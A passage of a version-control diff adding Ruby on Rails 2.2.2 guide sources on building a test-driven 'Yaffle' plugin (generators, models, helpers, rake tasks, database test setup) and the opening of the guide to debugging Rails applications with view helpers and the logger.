+require "yaffle/commands"
+-----------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/commands.rb*
+
+[source, ruby]
+-----------------------------------------------------------
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+  module Generator #:nodoc:
+    module Commands #:nodoc:
+      module Create
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module Destroy
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module List
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module Update
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+    end
+  end
+end
+
+Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
+-----------------------------------------------------------
+
+Finally, call your new method in the manifest:
+
+*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
+
+[source, ruby]
+-----------------------------------------------------------
+class YaffleGenerator < Rails::Generator::NamedBase
+  def manifest
+    m.yaffle_definition
+  end
+end
+-----------------------------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/helpers.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/helpers.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/helpers.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,51 @@
+== Add a helper ==
+
+This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app.  This is very similar to adding a model and a controller.
+
+You can test your plugin's helper as you would test any other helper:
+
+*vendor/plugins/yaffle/test/woodpeckers_helper_test.rb*
+
+[source, ruby]
+---------------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+include WoodpeckersHelper
+
+class WoodpeckersHelperTest < Test::Unit::TestCase
+  def test_tweet
+    assert_equal "Tweet! Hello", tweet("Hello")
+  end
+end
+---------------------------------------------------------------
+
+This is just a simple test to make sure the helper is being loaded correctly.  After watching it fail with `rake`, you can make it pass like so:
+
+*vendor/plugins/yaffle/lib/yaffle.rb:*
+
+[source, ruby]
+----------------------------------------------
+%w{ models controllers helpers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+ActionView::Base.send :include, WoodpeckersHelper
+----------------------------------------------
+
+
+*vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:*
+
+[source, ruby]
+----------------------------------------------
+module WoodpeckersHelper
+  
+  def tweet(text)
+    "Tweet! #{text}"
+  end
+  
+end
+----------------------------------------------
+
+Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/index.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/index.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/index.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,52 @@
+The Basics of Creating Rails Plugins
+====================================
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+ * a way for developers to share bleeding-edge ideas without hurting the stable code base
+ * a segmented architecture so that units of code can be fixed or updated on their own release schedule
+ * an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+After reading this guide you should be familiar with:
+ 
+ * Creating a plugin from scratch
+ * Writing and running tests for the plugin
+ * Storing models, views, controllers, helpers and even other plugins in your plugins
+ * Writing generators
+ * Writing custom Rake tasks in your plugin
+ * Generating RDoc documentation for your plugin
+ * Avoiding common pitfalls with 'init.rb'
+
+This guide describes how to build a test-driven plugin that will:
+
+ * Extend core ruby classes like Hash and String
+ * Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
+ * Add a view helper that can be used in erb templates
+ * Add a new generator that will generate a migration
+ * Add a custom generator command
+ * A custom route method that can be used in routes.rb
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher.  Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.  First, you need to get setup for development.
+
+
+include::test_setup.txt[]
+
+include::core_ext.txt[]
+
+include::acts_as_yaffle.txt[]
+
+include::migration_generator.txt[]
+
+include::generator_method.txt[]
+
+include::models.txt[]
+
+include::controllers.txt[]
+
+include::helpers.txt[]
+
+include::custom_route.txt[]
+
+include::odds_and_ends.txt[]
+
+include::appendix.txt[]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/migration_generator.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/migration_generator.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/migration_generator.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,156 @@
+== Create a generator ==
+
+Many plugins ship with generators.  When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'.
+
+Building generators is a complex topic unto itself and this section will cover one small aspect of generators:  creating a generator that adds a time-stamped migration.
+
+To create a generator you must:
+
+ * Add your instructions to the 'manifest' method of the generator
+ * Add any necessary template files to the templates directory
+ * Test the generator manually by running various combinations of `script/generate` and `script/destroy`
+ * Update the USAGE file to add helpful documentation for your generator
+
+=== Testing generators ===
+
+Many rails plugin authors do not test their generators, however testing generators is quite simple.  A typical generator test does the following:
+
+ * Creates a new fake rails root directory that will serve as destination
+ * Runs the generator forward and backward, making whatever assertions are necessary
+ * Removes the fake rails root
+
+For the generator in this section, the test could look something like this:
+
+*vendor/plugins/yaffle/test/yaffle_generator_test.rb*
+
+[source, ruby]
+------------------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+require 'rails_generator/scripts/destroy'
+
+class GeneratorTest < Test::Unit::TestCase
+
+  def fake_rails_root
+    File.join(File.dirname(__FILE__), 'rails_root')
+  end
+  
+  def file_list
+    Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
+  end
+
+  def setup
+    FileUtils.mkdir_p(fake_rails_root)
+    @original_files = file_list
+  end
+
+  def teardown
+    FileUtils.rm_r(fake_rails_root)
+  end
+  
+  def test_generates_correct_file_name
+    Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_match /add_yaffle_fields_to_bird/, new_file
+  end
+  
+end
+------------------------------------------------------------------
+
+You can run 'rake' from the plugin directory to see this fail.  Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
+
+=== Adding to the manifest ===
+
+This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file.  To start, update your generator file to look like this:
+
+*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
+
+[source, ruby]
+------------------------------------------------------------------
+class YaffleGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
+        :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
+      }
+    end
+  end
+
+  private
+    def custom_file_name
+      custom_name = class_name.underscore.downcase
+      custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
+    end
+
+    def yaffle_local_assigns
+      returning(assigns = {}) do
+        assigns[:migration_action] = "add"
+        assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
+        assigns[:table_name] = custom_file_name
+        assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
+      end
+    end
+end
+------------------------------------------------------------------
+
+The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement.  It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template.
+
+It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names.  This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
+
+=== Manually test the generator ===
+
+To run the generator, type the following at the command line:
+
+------------------------------------------------------------------
+./script/generate yaffle bird
+------------------------------------------------------------------
+
+and you will see a new file:
+
+*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb*
+
+[source, ruby]
+------------------------------------------------------------------
+class AddYaffleFieldsToBirds < ActiveRecord::Migration
+  def self.up
+    add_column :birds, :last_squawk, :string
+  end
+
+  def self.down
+    remove_column :birds, :last_squawk
+  end
+end
+------------------------------------------------------------------
+
+
+=== The USAGE file ===
+
+Rails ships with several built-in generators.  You can see all of the generators available to you by typing the following at the command line:
+
+------------------------------------------------------------------
+script/generate
+------------------------------------------------------------------
+
+You should see something like this:
+
+------------------------------------------------------------------
+Installed Generators
+  Plugins (vendor/plugins): yaffle
+  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
+------------------------------------------------------------------
+
+When you run `script/generate yaffle` you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle/USAGE' file.  
+
+For this plugin, update the USAGE file looks like this:
+
+------------------------------------------------------------------
+Description:
+    Creates a migration that adds yaffle squawk fields to the given model
+
+Example:
+    ./script/generate yaffle hickwall
+
+    This will create:
+        db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall
+------------------------------------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/models.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/models.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/models.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,76 @@
+== Add a model ==
+
+This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app.  When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories.  For this example, create a file structure like this:
+
+---------------------------------------------------------
+vendor/plugins/yaffle/
+|-- lib
+|   |-- app
+|   |   |-- controllers
+|   |   |-- helpers
+|   |   |-- models
+|   |   |   `-- woodpecker.rb
+|   |   `-- views
+|   |-- yaffle
+|   |   |-- acts_as_yaffle.rb
+|   |   |-- commands.rb
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb
+---------------------------------------------------------
+
+As always, start with a test:
+
+*vendor/plugins/yaffle/yaffle/woodpecker_test.rb:*
+
+[source, ruby]
+----------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class WoodpeckerTest < Test::Unit::TestCase
+  load_schema
+
+  def test_woodpecker
+    assert_kind_of Woodpecker, Woodpecker.new
+  end
+end
+----------------------------------------------
+
+This is just a simple test to make sure the class is being loaded correctly.  After watching it fail with `rake`, you can make it pass like so:
+
+*vendor/plugins/yaffle/lib/yaffle.rb:*
+
+[source, ruby]
+----------------------------------------------
+%w{ models }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+----------------------------------------------
+
+Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser.  Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server.  This is particularly useful as you develop the plugin.
+
+
+*vendor/plugins/yaffle/lib/app/models/woodpecker.rb:*
+
+[source, ruby]
+----------------------------------------------
+class Woodpecker < ActiveRecord::Base
+end
+----------------------------------------------
+
+Finally, add the following to your plugin's 'schema.rb':
+
+*vendor/plugins/yaffle/test/schema.rb:*
+
+[source, ruby]
+----------------------------------------------
+ActiveRecord::Schema.define(:version => 0) do
+  create_table :woodpeckers, :force => true do |t|
+    t.string :name
+  end
+end
+----------------------------------------------
+
+Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/odds_and_ends.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/odds_and_ends.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/odds_and_ends.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+== Odds and ends ==
+
+=== Generate RDoc Documentation ===
+
+Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it!  Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin.  A few key things to include are:
+
+ * Your name.
+ * How to install.
+ * How to add the functionality to the app (several examples of common use cases).
+ * Warning, gotchas or tips that might help save users time.
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.
+
+Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+    rake rdoc
+
+=== Write custom Rake tasks in your plugin ===
+
+When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle.rake'.  Any rake task you add here will be available to the app.
+
+Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
+
+*vendor/plugins/yaffle/tasks/yaffle.rake*
+
+[source, ruby]
+---------------------------------------------------------
+namespace :yaffle do
+  desc "Prints out the word 'Yaffle'"
+  task :squawk => :environment do
+    puts "squawk!"
+  end
+end
+---------------------------------------------------------
+
+When you run `rake -T` from your plugin you will see:
+
+---------------------------------------------------------
+yaffle:squawk             # Prints out the word 'Yaffle'
+---------------------------------------------------------
+
+You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
+
+=== Store plugins in alternate locations ===
+
+You can store plugins wherever you want - you just have to add those plugins to the plugins path in 'environment.rb'.
+
+Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.
+
+You can even store plugins inside of other plugins for complete plugin madness!
+
+[source, ruby]
+---------------------------------------------------------
+config.plugin_paths << File.join(RAILS_ROOT,"vendor","plugins","yaffle","lib","plugins")
+---------------------------------------------------------
+
+=== Create your own Plugin Loaders and Plugin Locators ===
+
+If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process.  You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.
+
+
+=== Use Custom Plugin Generators ===
+
+If you are an RSpec fan, you can install the `rspec_plugin_generator` gem, which will generate the spec folder and database for you. See http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/test_setup.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/test_setup.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins/test_setup.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,230 @@
+== Preparation ==
+
+=== Create the basic app ===
+
+The examples in this guide require that you have a working rails application.  To create a simple rails app execute:
+
+------------------------------------------------
+gem install rails
+rails yaffle_guide
+cd yaffle_guide
+script/generate scaffold bird name:string
+rake db:migrate
+script/server
+------------------------------------------------
+
+Then navigate to http://localhost:3000/birds.  Make sure you have a functioning rails app before continuing.
+
+.Editor's note:
+NOTE: The aforementioned instructions will work for sqlite3.  For more detailed instructions on how to create a rails app for other databases see the API docs.
+
+
+=== Generate the plugin skeleton ===
+
+Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also.
+
+This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
+
+Examples:
+----------------------------------------------
+./script/generate plugin yaffle
+./script/generate plugin yaffle --with-generator
+----------------------------------------------
+
+To get more detailed help on the plugin generator, type `./script/generate plugin`.
+
+Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now:
+
+----------------------------------------------
+./script/generate plugin yaffle --with-generator
+----------------------------------------------
+
+You should see the following output:
+
+----------------------------------------------
+create  vendor/plugins/yaffle/lib
+create  vendor/plugins/yaffle/tasks
+create  vendor/plugins/yaffle/test
+create  vendor/plugins/yaffle/README
+create  vendor/plugins/yaffle/MIT-LICENSE
+create  vendor/plugins/yaffle/Rakefile
+create  vendor/plugins/yaffle/init.rb
+create  vendor/plugins/yaffle/install.rb
+create  vendor/plugins/yaffle/uninstall.rb
+create  vendor/plugins/yaffle/lib/yaffle.rb
+create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create  vendor/plugins/yaffle/test/core_ext_test.rb
+create  vendor/plugins/yaffle/generators
+create  vendor/plugins/yaffle/generators/yaffle
+create  vendor/plugins/yaffle/generators/yaffle/templates
+create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create  vendor/plugins/yaffle/generators/yaffle/USAGE
+----------------------------------------------
+
+To begin just change one thing - move 'init.rb' to 'rails/init.rb'.
+
+=== Setup the plugin for testing ===
+
+If your plugin interacts with a database, you'll need to setup a database connection.  In this guide you will learn how to test your plugin against multiple different database adapters using Active Record.  This guide will not cover how to use fixtures in plugin tests.
+
+To setup your plugin to allow for easy testing you'll need to add 3 files:
+
+ * A 'database.yml' file with all of your connection strings
+ * A 'schema.rb' file with your table definitions
+ * A test helper method that sets up the database
+
+*vendor/plugins/yaffle/test/database.yml:*
+
+----------------------------------------------
+sqlite:
+  :adapter: sqlite
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
+
+sqlite3:
+  :adapter: sqlite3
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
+
+postgresql:
+  :adapter: postgresql
+  :username: postgres
+  :password: postgres
+  :database: yaffle_plugin_test
+  :min_messages: ERROR
+
+mysql:
+  :adapter: mysql
+  :host: localhost
+  :username: root
+  :password: password
+  :database: yaffle_plugin_test
+----------------------------------------------
+
+For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
+
+*vendor/plugins/yaffle/test/schema.rb:*
+
+[source, ruby]
+----------------------------------------------
+ActiveRecord::Schema.define(:version => 0) do
+  create_table :hickwalls, :force => true do |t|
+    t.string :name
+    t.string :last_squawk
+    t.datetime :last_squawked_at
+  end
+  create_table :wickwalls, :force => true do |t|
+    t.string :name
+    t.string :last_tweet
+    t.datetime :last_tweeted_at
+  end
+  create_table :woodpeckers, :force => true do |t|
+    t.string :name
+  end
+end
+----------------------------------------------
+
+*vendor/plugins/yaffle/test/test_helper.rb:*
+
+[source, ruby]
+----------------------------------------------
+ENV['RAILS_ENV'] = 'test'
+ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
+
+require 'test/unit'
+require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
+
+def load_schema
+  config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
+  ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
+
+  db_adapter = ENV['DB']
+
+  # no db passed, try one of these fine config-free DBs before bombing.
+  db_adapter ||=
+    begin
+      require 'rubygems'
+      require 'sqlite'
+      'sqlite'
+    rescue MissingSourceFile
+      begin
+        require 'sqlite3'
+        'sqlite3'
+      rescue MissingSourceFile
+      end
+    end
+
+  if db_adapter.nil?
+    raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
+  end
+
+  ActiveRecord::Base.establish_connection(config[db_adapter])
+  load(File.dirname(__FILE__) + "/schema.rb")
+  require File.dirname(__FILE__) + '/../rails/init.rb'
+end
+----------------------------------------------
+
+Now whenever you write a test that requires the database, you can call 'load_schema'.
+
+=== Run the plugin tests ===
+
+Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct.  By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test.  Replace the contents of that file with:
+
+*vendor/plugins/yaffle/test/yaffle_test.rb:*
+
+[source, ruby]
+----------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class YaffleTest < Test::Unit::TestCase
+  load_schema
+  
+  class Hickwall < ActiveRecord::Base
+  end
+
+  class Wickwall < ActiveRecord::Base
+  end
+  
+  def test_schema_has_loaded_correctly
+    assert_equal [], Hickwall.all
+    assert_equal [], Wickwall.all
+  end
+  
+end
+----------------------------------------------
+
+To run this, go to the plugin directory and run `rake`:
+
+----------------------------------------------
+cd vendor/plugins/yaffle
+rake
+----------------------------------------------
+
+You should see output like:
+
+----------------------------------------------
+/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" 
+-- create_table(:hickwalls, {:force=>true})
+   -> 0.0220s
+-- create_table(:wickwalls, {:force=>true})
+   -> 0.0077s
+-- initialize_schema_migrations_table()
+   -> 0.0007s
+-- assume_migrated_upto_version(0)
+   -> 0.0007s
+Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
+Started
+.
+Finished in 0.002236 seconds.
+
+1 test, 1 assertion, 0 failures, 0 errors
+----------------------------------------------
+
+By default the setup above runs your tests with sqlite or sqlite3.  To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
+
+----------------------------------------------
+rake DB=sqlite
+rake DB=sqlite3
+rake DB=mysql
+rake DB=postgresql
+----------------------------------------------
+
+Now you are ready to test-drive your plugin!

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/debugging_rails_applications.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/debugging_rails_applications.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/debugging_rails_applications.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,733 @@
+Debugging Rails Applications
+============================
+
+This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
+
+* Understand the purpose of debugging
+* Track down problems and issues in your application that your tests aren't identifying
+* Learn the different ways of debugging
+* Analyze the stack trace
+
+== View Helpers for Debugging
+
+One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
+
+* `debug`
+* `to_yaml`
+* `inspect`
+
+=== debug
+
+The `debug` helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+[source, html]
+----------------------------------------------------------------------------
+<%= debug @post %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+----------------------------------------------------------------------------
+
+You'll see something like this:
+
+----------------------------------------------------------------------------
+--- !ruby/object:Post
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+----------------------------------------------------------------------------
+
+=== to_yaml
+
+Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:
+
+[source, html]
+----------------------------------------------------------------------------
+<%= simple_format @post.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+----------------------------------------------------------------------------
+
+The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+
+As a result of this, you will have something like this in your view:
+
+----------------------------------------------------------------------------
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+----------------------------------------------------------------------------
+
+=== inspect
+
+Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+
+[source, html]
+----------------------------------------------------------------------------
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+----------------------------------------------------------------------------
+
+Will be rendered as follows:
+
+----------------------------------------------------------------------------
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+----------------------------------------------------------------------------
+
+=== Debugging Javascript
+
+Rails has built-in support to debug RJS, to active it, set `ActionView::Base.debug_rjs` to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
+
+To enable it, add the following in the `Rails::Initializer do |config|` block inside +environment.rb+:
+
+[source, ruby]
+----------------------------------------------------------------------------
+config.action_view[:debug_rjs] = true
+----------------------------------------------------------------------------
+
+Or, at any time, setting `ActionView::Base.debug_rjs` to _true_:
+
+[source, ruby]
+----------------------------------------------------------------------------
+ActionView::Base.debug_rjs = true
+----------------------------------------------------------------------------
+
+[TIP]
+For more information on debugging javascript refer to link:http://getfirebug.com/[Firebug], the popular debugger for Firefox.
+
+== The Logger
+
+It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
+=== What is The Logger?
+
+Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish.
+
+You can specify an alternative logger in your +environment.rb+ or any environment file:
+
+[source, ruby]
+----------------------------------------------------------------------------
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
+----------------------------------------------------------------------------
+
+Or in the +Initializer+ section, add _any_ of the following
+
+[source, ruby]
+----------------------------------------------------------------------------
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+----------------------------------------------------------------------------
+
+[TIP]
+By default, each log is created under `RAILS_ROOT/log/` and the log file name is +environment_name.log+.
+
+=== Log Levels
+
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `ActiveRecord::Base.logger.level` method.
+
+The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
+
+[source, ruby]
+----------------------------------------------------------------------------
+config.log_level = Logger::WARN # In any environment initializer, or
+ActiveRecord::Base.logger.level = 0 # at any time
+----------------------------------------------------------------------------
+
+This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
+
+[TIP]
+The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
+
+=== Sending Messages
+
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+
+[source, ruby]
+----------------------------------------------------------------------------
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+----------------------------------------------------------------------------
+
+Here's an example of a method instrumented with extra logging:
+
+[source, ruby]
+----------------------------------------------------------------------------
+class PostsController < ApplicationController
+  # ...
+
+  def create
+    @post = Post.new(params[:post])
+    logger.debug "New post: #{@post.attributes.inspect}"
+    logger.debug "Post should be valid: #{@post.valid?}"
+
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      logger.debug "The post was saved and now is the user is going to be redirected..."
+      redirect_to(@post)
+    else
+      render :action => "new"
+    end
+  end
+
+  # ...
+end
+----------------------------------------------------------------------------
+
+Here's an example of the log generated by this method:
+
+----------------------------------------------------------------------------
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", 
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, 
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", 
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published", 
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', 
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now is the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+----------------------------------------------------------------------------
+
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
+
+== Debugging with ruby-debug
+
